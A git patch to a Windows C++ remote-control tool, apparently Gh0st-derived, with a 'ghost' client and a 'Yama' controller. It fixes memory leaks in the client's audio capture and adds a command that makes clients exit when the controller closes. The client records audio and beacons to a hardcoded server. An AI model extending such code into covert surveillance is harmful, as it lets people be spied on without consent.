From c54d75505e031859fa7177f22c0be7ccb1bd0e09 Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Tue, 15 Jan 2019 21:48:37 +0800
Subject: [PATCH] =?UTF-8?q?=E4=B8=BB=E6=8E=A7=E7=AB=AF=E9=80=80=E5=87=BA?=
=?UTF-8?q?=E6=97=B6=E8=A2=AB=E6=8E=A7=E7=AB=AF=E4=B9=9F=E9=80=80=E5=87=BA?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
---
ReadMe.txt | 8 ++++
client/Audio.cpp | 55 +++++++++++++++-------------
client/Audio.h | 1 +
client/AudioManager.cpp | 3 ++
client/ClientDll.cpp | 2 +-
client/ClientDll.vcxproj | 3 ++
client/ClientDll.vcxproj.filters | 5 +++
client/IOCPClient.cpp | 13 ++++++-
client/IOCPClient.h | 4 +-
client/KernelManager.cpp | 4 +-
client/Manager.cpp | 4 +-
client/Manager.h | 4 +-
client/Res/ghost.ico | Bin 0 -> 4286 bytes
client/Script.rc | 13 ++++++-
client/TalkManager.cpp | 5 ++-
client/ghost.vcxproj | 3 ++
client/ghost.vcxproj.filters | 5 +++
client/ghost.vcxproj.user | 2 +-
client/resource.h | 8 ++--
server/2015Remote.sln | 5 ++-
server/2015Remote/2015RemoteDlg.cpp | 21 +++++++++--
server/2015Remote/IOCPServer.cpp | 3 +-
server/2015Remote/TalkDlg.cpp | 2 +
server/2015Remote/TalkDlg.h | 1 +
24 files changed, 127 insertions(+), 47 deletions(-)
create mode 100644 client/Res/ghost.ico
diff --git a/ReadMe.txt b/ReadMe.txt
index 6518030..442e847 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -79,3 +79,11 @@
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。
3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
+
+2019.1.15
+
+1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。
+
+2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
+
+3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
diff --git a/client/Audio.cpp b/client/Audio.cpp
index 539127b..f85e23c 100644
--- a/client/Audio.cpp
+++ b/client/Audio.cpp
@@ -14,6 +14,7 @@ CAudio::CAudio()
{
m_bExit = FALSE;
m_hThreadCallBack = false;
+ m_Thread = NULL;
m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0;
@@ -47,26 +48,7 @@ CAudio::CAudio()
CAudio::~CAudio()
{
m_bExit = TRUE;
- if (m_bIsWaveInUsed)
- {
- waveInStop(m_hWaveIn);
- waveInReset(m_hWaveIn);
- for (int i = 0; i < 2; i++)
- waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
- waveInClose(m_hWaveIn);
- WAIT (m_hThreadCallBack, 30);
- if (m_hThreadCallBack)
- printf("ûгɹرwaveInCallBack.\n");
- }
-
- for (int i = 0; i < 2; i++)
- {
- delete [] m_InAudioData[i];
- m_InAudioData[i] = NULL;
- delete [] m_InAudioHeader[i];
- m_InAudioHeader[i] = NULL;
- }
if (m_hEventWaveIn)
{
SetEvent(m_hEventWaveIn);
@@ -80,6 +62,29 @@ CAudio::~CAudio()
m_hStartRecord = NULL;
}
+ if (m_bIsWaveInUsed)
+ {
+ waveInStop(m_hWaveIn);
+ waveInReset(m_hWaveIn);
+ for (int i = 0; i < 2; i++)
+ waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
+
+ waveInClose(m_hWaveIn);
+ WAIT (m_hThreadCallBack, 30);
+ if (m_hThreadCallBack)
+ printf("ûгɹرwaveInCallBack.\n");
+ TerminateThread(m_Thread, -999);
+ m_Thread = NULL;
+ }
+
+ for (int i = 0; i < 2; i++)
+ {
+ delete [] m_InAudioData[i];
+ m_InAudioData[i] = NULL;
+ delete [] m_InAudioHeader[i];
+ m_InAudioHeader[i] = NULL;
+ }
+
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
@@ -102,8 +107,7 @@ BOOL CAudio::InitializeWaveIn()
MMRESULT mmResult;
DWORD dwThreadID = 0;
- HANDLE h = NULL;
- m_hThreadCallBack = h = CreateThread(NULL, 0,
+ m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
@@ -114,7 +118,6 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn ¼
if (mmResult != MMSYSERR_NOERROR)
{
- CloseHandle(h);
return FALSE;
}
@@ -130,8 +133,7 @@ BOOL CAudio::InitializeWaveIn()
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
- ResumeThread(h);
- CloseHandle(h);
+ ResumeThread(m_Thread);
waveInStart(m_hWaveIn); //¼
m_bIsWaveInUsed = TRUE;
@@ -170,11 +172,12 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE);
+ if (This->m_bExit)
+ break;
Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
-
//»
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
@@ -194,7 +197,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
std::cout<<"waveInCallBack end\n";
This->m_hThreadCallBack = false;
- return 0;
+ return 0;
}
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
diff --git a/client/Audio.h b/client/Audio.h
index c49020f..19eb955 100644
--- a/client/Audio.h
+++ b/client/Audio.h
@@ -26,6 +26,7 @@ public:
HWAVEIN m_hWaveIn; //豸
DWORD m_nWaveInIndex;
bool m_hThreadCallBack;
+ HANDLE m_Thread;// waveInCallBack߳
static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
BOOL CAudio::InitializeWaveIn();
diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index 07980ee..3957f21 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -17,6 +17,8 @@ using namespace std;
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
+ printf("new CAudioManager %x\n", this);
+
m_bIsWorking = FALSE;
m_AudioObject = NULL;
@@ -100,6 +102,7 @@ CAudioManager::~CAudioManager()
delete m_AudioObject;
m_AudioObject = NULL;
}
+ printf("~CAudioManager %x\n", this);
}
//USB
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index b03afa5..2fb4555 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -115,7 +115,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
while (!g_bExit)
{
- DWORD dwTickCount = GetTickCount();
+ DWORD dwTickCount = GetTickCount();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
{
for (int k = 500; !g_bExit && --k; Sleep(10));
diff --git a/client/ClientDll.vcxproj b/client/ClientDll.vcxproj
index 190cd41..5d209a4 100644
--- a/client/ClientDll.vcxproj
+++ b/client/ClientDll.vcxproj
@@ -136,6 +136,9 @@
+
+
+
diff --git a/client/ClientDll.vcxproj.filters b/client/ClientDll.vcxproj.filters
index 15423fa..df17464 100644
--- a/client/ClientDll.vcxproj.filters
+++ b/client/ClientDll.vcxproj.filters
@@ -174,4 +174,9 @@
资源文件
+
+
+ 资源文件
+
+
\ No newline at end of file
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index 331570e..86f5185 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -8,13 +8,15 @@
#include "zconf.h"
#include "zlib.h"
#include
+#include "Manager.h"
+
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-VOID IOCPClient::setManagerCallBack(class CManager* Manager)
+VOID IOCPClient::setManagerCallBack(CManager* Manager)
{
m_Manager = Manager;
}
@@ -22,6 +24,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager)
IOCPClient::IOCPClient(bool exit_while_disconnect)
{
+ m_Manager = NULL;
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
@@ -154,6 +157,14 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}else{
//ȷվ͵OnRead,תOnRead
This->OnServerReceiving(szBuffer, iReceivedLength);
+ if (This->m_Manager->m_bIsDead)
+ {
+ printf("****** Recv bye bye ******\n");
+ // ˳ͻ
+ extern bool g_bExit;
+ g_bExit = true;
+ break;
+ }
}
}
}
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index 4f598d9..50f23c3 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -51,14 +51,14 @@ public:
char m_szPacketFlag[FLAG_LENGTH];
- VOID setManagerCallBack(class CManager* Manager);
+ VOID setManagerCallBack(CManager* Manager);
VOID Disconnect();
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected == TRUE; }
public:
- class CManager* m_Manager;
+ CManager* m_Manager;
CRITICAL_SECTION m_cs;
bool m_exit_while_disconnect;
};
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 429e7e0..de7ad06 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -16,7 +16,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
CKernelManager::~CKernelManager()
{
- printf("~CKernelManager \n");
+ printf("~CKernelManager begin\n");
int i = 0;
for (i=0;i<0x1000;i++)
{
@@ -30,6 +30,7 @@ CKernelManager::~CKernelManager()
}
}
m_ulThreadCount = 0;
+ printf("~CKernelManager end\n");
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -75,6 +76,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
BYTE bToken = COMMAND_BYE; //ͷļ Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);
+ m_bIsDead = true; //say goodbye
OutputDebugStringA("======> Bye bye \n");
m_hThread[m_ulThreadCount].p = NULL;
delete pNew;
diff --git a/client/Manager.cpp b/client/Manager.cpp
index 515d1fd..b97fd81 100644
--- a/client/Manager.cpp
+++ b/client/Manager.cpp
@@ -4,6 +4,7 @@
#include "stdafx.h"
#include "Manager.h"
+#include "IOCPClient.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -11,8 +12,9 @@
CManager::CManager(IOCPClient* ClientObject)
{
+ m_bIsDead = false;
m_ClientObject = ClientObject;
- m_ClientObject->setManagerCallBack(this);
+ m_ClientObject->setManagerCallBack(this);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
}
diff --git a/client/Manager.h b/client/Manager.h
index 6d19b12..7a0aceb 100644
--- a/client/Manager.h
+++ b/client/Manager.h
@@ -9,14 +9,12 @@
#pragma once
#endif // _MSC_VER > 1000
-#include "IOCPClient.h"
-
-
class IOCPClient;
class CManager
{
public:
+ bool m_bIsDead; // bye-bye
CManager(IOCPClient* ClientObject);
virtual ~CManager();
diff --git a/client/Res/ghost.ico b/client/Res/ghost.ico
new file mode 100644
index 0000000000000000000000000000000000000000..04a5af61a90e54423a96a90e00840643c363ebc5
GIT binary patch
literal 4286
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
+
+
+
diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters
index 15423fa..df17464 100644
--- a/client/ghost.vcxproj.filters
+++ b/client/ghost.vcxproj.filters
@@ -174,4 +174,9 @@
资源文件
+
+
+ 资源文件
+
+
\ No newline at end of file
diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user
index e95cc70..e23900c 100644
--- a/client/ghost.vcxproj.user
+++ b/client/ghost.vcxproj.user
@@ -6,6 +6,6 @@
WindowsLocalDebugger
- 192.168.104.248 2356
+ 192.168.104.250 2356
\ No newline at end of file
diff --git a/client/resource.h b/client/resource.h
index ea95376..b801e4c 100644
--- a/client/resource.h
+++ b/client/resource.h
@@ -1,16 +1,18 @@
//{{NO_DEPENDENCIES}}
-// Microsoft Developer Studio generated include file.
-// Used by Script.rc
+// Microsoft Visual C++ ɵİļ
+// Script.rc ʹ
//
#define IDD_DIALOG 101
#define IDR_WAVE 102
+#define IDI_ICON1 104
+#define IDI_ICON_MAIN 104
#define IDC_EDIT_MESSAGE 1000
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 103
+#define _APS_NEXT_RESOURCE_VALUE 105
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
diff --git a/server/2015Remote.sln b/server/2015Remote.sln
index 2edfd31..098a51c 100644
--- a/server/2015Remote.sln
+++ b/server/2015Remote.sln
@@ -1,7 +1,10 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
+ ProjectSection(ProjectDependencies) = postProject
+ {3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
+ EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index fc31915..16e8fdd 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -575,6 +575,15 @@ void CMy2015RemoteDlg::OnClose()
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
#endif
+ BYTE bToken = COMMAND_BYE;
+ int n = m_CList_Online.GetItemCount();
+ for(int Pos = 0; Pos < n; ++Pos)
+ {
+ CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
+ m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
+ }
+ Sleep(200);
+
EnterCriticalSection(&m_cs);
for (std::vector::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ++iter)
@@ -598,7 +607,7 @@ void CMy2015RemoteDlg::OnClose()
//Sleepܱⲻ˳ʱıIOCPҪظЩ
ShowWindow(SW_HIDE);
- Sleep(500);
+ Sleep(300);
if (m_iocpServer!=NULL)
{
@@ -739,9 +748,9 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
{
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2
- while(Pos)
+ while(Pos)
{
- int iItem = m_CList_Online.GetNextSelectedItem(Pos);
+ int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //бĿȡClientContextṹ
// ͻбݰ //鿴ClientContextṹ
@@ -1061,6 +1070,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{
switch(p->v1)
{
+ case TALK_DLG:
+ {
+ CTalkDlg *Dlg = (CTalkDlg*)p->hDlg;
+ delete Dlg;
+ break;
+ }
case VIDEO_DLG:
{
CVideoDlg *Dlg = (CVideoDlg*)p->hDlg;
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index 68ad481..13a9829 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -98,7 +98,8 @@ IOCPServer::~IOCPServer(void)
while (!m_ContextFreePoolList.IsEmpty())
{
CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
- SAFE_DELETE(ContextObject->olps);
+ // бʣ2019.1.14
+ //SAFE_DELETE(ContextObject->olps);
delete ContextObject;
}
diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp
index b4cc2d0..f42e1fa 100644
--- a/server/2015Remote/TalkDlg.cpp
+++ b/server/2015Remote/TalkDlg.cpp
@@ -41,6 +41,8 @@ BOOL CTalkDlg::OnInitDialog()
{
CDialog::OnInitDialog();
+ m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
+ SetIcon(m_hIcon, FALSE);
BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h
index 52143a6..454538d 100644
--- a/server/2015Remote/TalkDlg.h
+++ b/server/2015Remote/TalkDlg.h
@@ -16,6 +16,7 @@ public:
enum { IDD = IDD_DIALOG_TALK };
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
+ HICON m_hIcon;
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧